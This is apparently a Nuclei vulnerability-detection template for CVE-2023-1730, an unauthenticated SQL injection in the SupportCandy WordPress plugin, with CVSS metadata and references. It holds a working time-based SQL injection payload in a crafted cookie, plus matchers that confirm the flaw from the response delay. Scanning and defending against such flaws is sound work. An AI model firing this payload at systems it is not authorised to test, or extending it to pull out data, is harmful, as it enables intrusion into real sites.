id: CVE-2023-1730

info:
  name: SupportCandy < 3.1.5 - Unauthenticated SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The SupportCandy WordPress plugin before 3.1.5 does not validate and escape user input before using it in an SQL statement, which could allow unauthenticated attackers to perform SQL injection attacks.
  reference:
    - https://wpscan.com/vulnerability/44b51a56-ff05-4d50-9327-fc9bab74d4b7
    - https://wordpress.org/plugins/supportcandy/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1730
  remediation: Fixed in version 3.1.5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1730
    cwe-id: CWE-89
    epss-score: 0.06484
    cpe: cpe:2.3:a:supportcandy:supportcandy:*:*:*:*:*:wordpress:*:*
    epss-percentile: 0.92801
  metadata:
    max-request: 1
    verified: "true"
    framework: wordpress
    vendor: supportcandy
    product: supportcandy
  tags: cve,cve2023,sqli,wpscan,wordpress,supportcandy,unauth

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Cookie: wpsc_guest_login_auth={"email":"' AND (SELECT 42 FROM (SELECT(SLEEP(6)))NNTu)-- cLmu"}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "supportcandy")'
        condition: and